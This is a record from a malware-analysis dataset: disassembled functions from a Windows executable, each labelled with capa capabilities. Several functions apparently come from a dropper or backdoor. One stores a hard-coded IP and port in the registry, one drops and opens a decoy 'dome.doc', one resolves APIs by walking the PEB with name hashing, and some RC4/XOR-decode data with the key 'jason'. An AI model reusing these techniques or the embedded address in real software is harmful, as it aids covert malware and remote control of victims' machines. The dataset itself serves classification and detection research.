joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400029a0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov esi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400029d4
xor eax, eax
cmp edx, edx
cmovne eax, edx
jmp 0x140002b9e
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002a0e
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140002a0e
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov byte [rdx], sil
mov eax, esi
jmp 0x140002b9e
cmp qword [rbx + 0x80], 0
jne 0x140002a20
or eax, 0xffffffff
jmp 0x140002b9e
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002a4d
mov rdx, qword [rbx + 0x90]
mov rcx, qword [rbx + 0x88]
mov qword [r8], rcx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp qword [rbx + 0x68], 0
jne 0x140002a71
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14004ef4c
or ebx, 0xffffffff
cmp eax, ebx
cmovne ebx, esi
jmp 0x140002b9c
mov byte [rbp - 0x30], sil
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x20]
call fcn.140002160
nop
mov r10, qword [rbp - 0x20]
mov r9, qword [rbp - 8]
nop
lea rdx, [rbp - 0x20]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x20]
cmovae r8, r10
mov rcx, qword [rbx + 0x68]
mov r10, qword [rcx]
add rdx, qword [rbp - 0x10]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x2f]
lea r8, [rbp - 0x30]
lea rdx, [rbx + 0x74]
call qword [r10 + 0x38]
test eax, eax
js 0x140002b8b
cmp eax, 1
jg 0x140002b6c
lea rax, [rbp - 0x20]
mov r10, qword [rbp - 0x20]
mov r9, qword [rbp - 8]
cmp r9, 0x10
cmovae rax, r10
mov rdi, qword [rbp + 0x30]
sub rdi, rax
je 0x140002b36
lea rcx, [rbp - 0x20]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rbx + 0x80]
mov r8, rdi
mov edx, 1
call fcn.140051c9c
cmp rdi, rax
jne 0x140002b8b
mov r9, qword [rbp - 8]
mov r10, qword [rbp - 0x20]
mov byte [rbx + 0x71], 1
lea rax, [rbp - 0x30]
cmp qword [rbp + 0x38], rax
jne 0x140002b68
test rdi, rdi
jne 0x140002a90
cmp qword [rbp - 0x10], 0x20
jae 0x140002b8b
xor r8d, r8d
lea edx, [rdi + 8]
lea rcx, [rbp - 0x20]
call fcn.140003640
jmp 0x140002a86
mov ebx, esi
jmp 0x140002b8e
cmp eax, 3
jne 0x140002b8b
movsx ecx, byte [rbp - 0x30]
mov rdx, qword [rbx + 0x80]
call fcn.14004ef4c
or ebx, 0xffffffff
cmp eax, ebx
cmovne ebx, esi
jmp 0x140002b8e
or ebx, 0xffffffff
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x20]
call fcn.140003240
mov eax, ebx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140003a20
Capabilities:
Write file on windows

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
mov rdi, rcx
cmp qword [rcx + 0x68], 0
je 0x140003b6a
cmp byte [rcx + 0x71], 0
je 0x140003b6a
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x140003a69
xor al, al
jmp 0x140003b6c
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x38]
call fcn.140002160
nop
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
nop word [rax + rax]
lea rdx, [rsp + 0x38]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rsp + 0x38]
cmovae r8, r10
mov rcx, qword [rdi + 0x68]
mov r10, qword [rcx]
mov r9, qword [rsp + 0x48]
add r9, rdx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
call qword [r10 + 0x40]
test eax, eax
je 0x140003ad2
sub eax, 1
jne 0x140003b4b
jmp 0x140003ad6
mov byte [rdi + 0x71], 0
lea rax, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rsp + 0x70]
sub rbx, rax
je 0x140003b27
lea rcx, [rsp + 0x38]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
call fcn.140051c9c
cmp rbx, rax
jne 0x140003b50
mov r9, qword [rsp + 0x50]
mov r10, qword [rsp + 0x38]
cmp byte [rdi + 0x71], 0
je 0x140003b54
test rbx, rbx
jne 0x140003a90
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rsp + 0x38]
call fcn.140003640
jmp 0x140003a7b
sub eax, 2
je 0x140003b54
xor bl, bl
jmp 0x140003b56
mov bl, 1
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x38]
call fcn.140003240
movzx eax, bl
jmp 0x140003b6c
mov al, 1
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x140048490
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub rsp, 0x168
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14004de00
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [0x140110998]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x1401109f8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
movzx eax, byte [0x1401109fa]
mov byte [rsp + 0x3a], al
lea rax, [rsp + 0x170]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400485cf
mov rcx, qword [rsp + 0x170]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x40]
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:23.248.217.193p:5689
or rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140048590
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x168
ret
Function at 0x1400485f0
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
sub rsp, 0x3a8
mov qword [rsp + 0x60], 0xfffffffffffffffe
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x180]
call fcn.14004de00
lea rdx, [rsp + 0x180]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x140048776
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x70]
call fcn.14004de00
lea r9, str.dome.doc
lea r8, [rsp + 0x180]
lea rdx, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140048f10
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140003240
cmp byte [rsp + 0x70], 0
jne 0x140048694
xor r8d, r8d
jmp 0x1400486aa
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400486a0
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140003470
nop
lea rcx, [rsp + 0x40]
call fcn.140002020
test al, al
je 0x1400486d3
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140048767
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x290]
call fcn.14004de00
lea r8, [rsp + 0x290]
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x14004874d
mov edx, 5
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x140048767
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x40]
call fcn.140003240
add rsp, 0x3a8
ret
Function at 0x140048780
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 8
mov rax, qword gs:[0x30]
mov r13d, ecx
xor ebx, ebx
xor edi, edi
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov rsi, qword [rdx + 0x30]
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rax + rsi + 0x88]
add rdx, rsi
mov ecx, dword [rdx + 0x14]
mov r15d, dword [rdx + 0x1c]
mov eax, dword [rdx + 0x20]
add r15, rsi
mov r12d, dword [rdx + 0x24]
add rax, rsi
mov r8d, dword [rdx + 0x18]
add r12, rsi
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
test rcx, rcx
je 0x14004889a
mov qword [rsp + 0x40], rbp
movzx ebp, word [0x14009522c]
mov qword [rsp], r14
cmp dword [r15 + rdi*4], 0
je 0x140048885
xor r9d, r9d
mov r14d, r8d
test r8d, r8d
je 0x140048885
nop word [rax + rax]
movzx r11d, word [r12 + r9*2]
cmp r11, rdi
jne 0x140048873
mov r8d, dword [rax + r9*4]
xor eax, eax
add r8, rsi
movzx r10d, byte [r8]
test r10b, r10b
je 0x140048862
nop dword [rax]
mov edx, eax
lea r8, [r8 + 1]
mov ecx, ebp
shr edx, cl
mov ecx, eax
shl ecx, 0x19
mov eax, edx
or eax, ecx
movsx ecx, r10b
movzx r10d, byte [r8]
add eax, ecx
test r10b, r10b
jne 0x140048840
cmp eax, r13d
mov rax, qword [rsp + 0x50]
jne 0x140048873
mov ebx, dword [r15 + r11*4]
add rbx, rsi
inc r9
cmp r9, r14
jb 0x140048820
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
inc rdi
cmp rdi, rcx
jb 0x140048805
mov r14, qword [rsp]
mov rbp, qword [rsp + 0x40]
mov rax, rbx
add rsp, 8
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140048b00
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
cmp dword [0x140127c64], 3
mov r14d, dword [0x140127c4c]
mov rbp, qword [0x140127c68]
mov ecx, r14d
jne 0x140048c79
mov qword [rax + 8], rbx
mov ebx, r14d
mov qword [rax + 0x10], rsi
call fcn.14004b0d4
xor edi, edi
mov rsi, rax
test rax, rax
je 0x140048b5e
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.14004de00
mov byte [rsi], dil
jmp 0x140048b61
mov rsi, rdi
lea eax, [r14 - 1]
mov rcx, rdi
movsxd r8, eax
test eax, eax
js 0x140048b92
lea rdx, [r8 + rsi]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rbp]
inc rcx
mov byte [rdx], al
lea rdx, [rdx - 1]
cmp rcx, r8
jle 0x140048b80
test r8, r8
js 0x140048bc0
mov rcx, rbp
lea rdx, [r8 + 1]
sub rsi, rbp
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140048bb0
mov rsi, qword [rsp + 0x448]
mov rcx, rdi
test r14d, r14d
je 0x140048c3d
cmp rbx, 0x20
jb 0x140048c19
movdqa xmm2, xmmword [str.CCCCCCCCCCCCCCCC_]
mov rax, rbx
and eax, 0x1f
mov rdx, rbx
sub rdx, rax
lea rax, [rbp + 0x10]
nop
movdqu xmm0, xmmword [rax - 0x10]
add rcx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rcx, rdx
jb 0x140048bf0
cmp rcx, rbx
jae 0x140048c3d
lea rax, [rcx + rbp]
sub rbx, rcx
nop word [rax + rax]
xor byte [rax], 0x43
lea rax, [rax + 1]
sub rbx, 1
jne 0x140048c30
lea rcx, str.jason
mov qword [rsp + 0x420], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.140048f70
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, rbp
call fcn.140049050
mov rbx, qword [rsp + 0x440]
jmp 0x140048ced
xor edi, edi
test r14d, r14d
je 0x140048ced
cmp rcx, 0x20
jb 0x140048cc9
movdqa xmm2, xmmword [str.CCCCCCCCCCCCCCCC_]
mov rax, rcx
and eax, 0x1f
mov rdx, rcx
sub rdx, rax
lea rax, [rbp + 0x10]
nop
movdqu xmm0, xmmword [rax - 0x10]
add rdi, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rdi, rdx
jb 0x140048ca0
cmp rdi, rcx
jae 0x140048ced
lea rax, [rdi + rbp]
sub rcx, rdi
nop word [rax + rax]
xor byte [rax], 0x43
lea rax, [rax + 1]
sub rcx, 1
jne 0x140048ce0
lea r11, [rsp + 0x430]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140048d10
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
xor ebx, ebx
mov r14d, edx
cmp dword [0x140127c64], 3
mov rdi, rcx
jne 0x140048e72
lea rcx, str.jason
mov qword [rax + 8], rbp
mov qword [rax - 0x18], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.140048f70
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.140049050
mov edx, ebx
test r14d, r14d
je 0x140048ded
cmp r14, 0x20
jb 0x140048dc9
movdqa xmm2, xmmword [str.CCCCCCCCCCCCCCCC_]
mov eax, r14d
and eax, 0x1f
mov ecx, r14d
sub rcx, rax
lea rax, [rdi + 0x10]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rdx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, rcx
jb 0x140048da0
cmp rdx, r14
jae 0x140048ded
mov rcx, r14
lea rax, [rdx + rdi]
sub rcx, rdx
nop dword [rax + rax]
xor byte [rax], 0x43
lea rax, [rax + 1]
sub rcx, 1
jne 0x140048de0
mov rcx, r14
call fcn.14004b0d4
mov rsi, rax
test rax, rax
je 0x140048e0e
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.14004de00
mov byte [rsi], bl
jmp 0x140048e11
mov rsi, rbx
mov rbp, qword [rsp + 0x440]
lea eax, [r14 - 1]
movsxd rdx, eax
test eax, eax
js 0x140048e42
lea rcx, [rdx + rsi]
nop dword [rax + rax]
movzx eax, byte [rbx + rdi]
inc rbx
mov byte [rcx], al
lea rcx, [rcx - 1]
cmp rbx, rdx
jle 0x140048e30
test rdx, rdx
js 0x140048eed
sub rsi, rdi
lea rcx, [rdx + 1]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rdi]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x140048e60
jmp 0x140048eed
mov rcx, r14
test edx, edx
je 0x140048eed
cmp rcx, 0x20
jb 0x140048ec9
movdqa xmm2, xmmword [str.CCCCCCCCCCCCCCCC_]
mov rax, rcx
and eax, 0x1f
mov rdx, rcx
sub rdx, rax
lea rax, [rdi + 0x10]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rbx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rbx, rdx
jb 0x140048ea0
cmp rbx, rcx
jae 0x140048eed
lea rax, [rbx + rdi]
sub rcx, rbx
nop word [rax + rax]
xor byte [rax], 0x43
lea rax, [rax + 1]
sub rcx, 1
jne 0x140048ee0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140048f70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbx
mov ebx, r8d
mov r11, rcx
test r8d, r8d
je 0x140049040
movdqa xmm1, xmmword [0x14011fdd0]
xor r9d, r9d
mov edx, r9d
mov qword [rsp + 0x10], rdi
mov r10, rcx
nop word [rax + rax]
movd xmm0, edx
lea eax, [rdx + 4]
pshufd xmm0, xmm0, 0
lea r10, [r10 + 0x20]
paddd xmm0, xmm1
add edx, 8
movdqu xmmword [r10 - 0x20], xmm0
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movdqu xmmword [r10 - 0x10], xmm0
cmp edx, 0x100
jl 0x140048fa0
mov r10d, r9d
lea rdi, str.jason
mov r8, rcx
nop word [rax + rax]
xor edx, edx
mov eax, r10d
div ebx
movzx eax, byte [rdx + rdi]
add eax, dword [r8]
add r9d, eax
and r9d, 0x800000ff
jge 0x140049017
dec r9d
or r9d, 0xffffff00
inc r9d
movzx edx, byte [r8]
inc r10d
movsxd rax, r9d
lea rcx, [r11 + rax*4]
mov eax, dword [r11 + rax*4]
mov dword [r8], eax
add r8, 4
mov dword [rcx], edx
cmp r10d, 0x100
jl 0x140048ff0
mov rdi, qword [rsp + 0x10]
pop rbx
ret

Function at 0x140049050
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r10, rdx
mov r9, rcx
test r8d, r8d
je 0x140049111
mov r11d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [r9 + 0x400]
inc eax
and eax, 0x800000ff
jge 0x140049089
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
mov dword [r9 + 0x400], eax
mov eax, dword [r9 + rcx*4]
add eax, dword [r9 + 0x404]
lea r8, [r9 + rcx*4]
and eax, 0x800000ff
jge 0x1400490b2
dec eax
or eax, 0xffffff00
inc eax
mov dword [r9 + 0x404], eax
movzx edx, byte [r8]
cdqe
mov ecx, dword [r9 + rax*4]
mov dword [r8], ecx
movsxd rax, dword [r9 + 0x404]
mov dword [r9 + rax*4], edx
movsxd rax, dword [r9 + 0x404]
movsxd rcx, dword [r9 + 0x400]
mov edx, dword [r9 + rax*4]
add edx, dword [r9 + rcx*4]
and edx, 0x800000ff
jge 0x1400490f9
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [r9 + rax*4]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x140049070
ret

Function at 0x14004af4c
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14004afdd
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x14004afdd
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004afdd
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14004afc1
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14004afbb
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14004afc3
add rdx, 0x28
jmp 0x14004afa0
xor edx, edx
test rdx, rdx
jne 0x14004afcc
xor al, al
jmp 0x14004afe3
test dword [rdx + 0x24], 0x80000000
je 0x14004afd9
xor al, al
jmp 0x14004afe3
mov al, 1
jmp 0x14004afe3
xor al, al
jmp 0x14004afe3
add rsp, 0x18
ret
Function at 0x140053e58
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140053c2c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140053c2c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140053c2c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140053c2c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140053c2c
cmp dword [rcx + 0x84], 0xe
jbe 0x140053c2c
cmp dword [rcx + 0xf8], esi
je 0x140053c2c
mov ecx, r14d
call fcn.140053d74
mov ecx, 2
call fcn.1400526cc
nop
cmp byte [0x140127330], 0
jne 0x140053cf6
mov r15d, 1
mov eax, r15d
xchg dword [0x140127320], eax
test ebx, ebx
jne 0x140053c9f
mov rdi, qword [0x1401251f0]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140127328]
cmp rcx, rax
je 0x140053c96
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140002d10]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140127358]
jmp 0x140053cab
cmp ebx, r15d
jne 0x140053cb1
lea rcx, [0x140127370]
call fcn.140054598
nop
test ebx, ebx
jne 0x140053cc8
lea rdx, [0x140067468]
lea rcx, [0x140067448]
call fcn.140054c20
lea rdx, [0x140067478]
lea rcx, [0x140067470]
call fcn.140054c20
movzx eax, byte [0x140127330]
test esi, esi
cmove eax, r15d
mov byte [0x140127330], al
jmp 0x140053cf6
mov ecx, 2
call fcn.140052720
test esi, esi
jne 0x140053d0d
mov ecx, r14d
call fcn.140053d28
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140053bbc
Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140013c20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001129e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014f70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014f90
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014fa3
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014fcd
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014fe1
xor al, al
jmp 0x140015011
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014ff3
xor al, al
jmp 0x140015011
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001500f
xor al, al
jmp 0x140015011
mov al, 1
add rsp, 0x38
ret
Function at 0x1400486e8
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x13e8
call fcn.140062380
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1360], 0xfffffffffffffffe
mov rdi, rdx
mov rsi, rcx
mov rax, qword [0x14013b730]
movabs rdx, 0x1b8dba7f80a84788
movabs rcx, 0xfafaac7f59d5a618
mov rax, qword [rax + rdx]
add rax, rcx
mov rcx, rsi
call rax
mov qword [rbp + 0x1348], rsi
mov rcx, rsi
mov qword [rbp + 0x1340], rdi
mov rdx, rdi
call fcn.1400052ae
mov rax, qword [0x14013b758]
movabs rcx, 0x52666ae6f3d5d2ad
movabs rdx, 0x125db3be387b2049
add rdx, qword [rax + rcx]
call rdx
mov rcx, qword [0x14013b760]
movabs rdx, 0x742c890a09a7aa98
movabs r10, 0xa4ecf6a7e520679a
add r10, qword [rcx + rdx]
lea rcx, [rbp - 0x60]
mov edx, eax
mov r8d, 0xffffffff
mov r9d, 0x6c078965
call r10
mov rax, qword [0x14013b768]
movabs rcx, 0x2341fecf528fa638
movabs r9, 0x171e162911890d0b
add r9, qword [rax + rcx]
lea rcx, [rbp + 0x1328]
xor edx, edx
mov r8d, 0xff
call r9
xor r14d, r14d
xor ecx, ecx
cmp r14, qword [rbp + 0x1340]
setb cl
mov rax, qword [0x14013b738]
movabs rdx, 0x1b8dba7f80a84788
add rax, rdx
shl ecx, 4
movabs rdx, 0xb1e31e8b0ef328fd
mov rcx, qword [rax + rcx + 8]
add rcx, rdx
jmp rcx

Function at 0x14006df88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006dfd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006dfd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006dfd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006dfd2
cmp dword [rcx + 0x84], 0xe
jbe 0x14006dfd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006dfd4
xor al, al
add rsp, 0x28
ret

Function at 0x140073ca4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140081e60
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140081e92
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140081e75
mov rax, r8
ret

Function at 0x140092d90
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
movsxd rax, edx
mov r9, rcx
lea rdx, [rcx + rax*4]
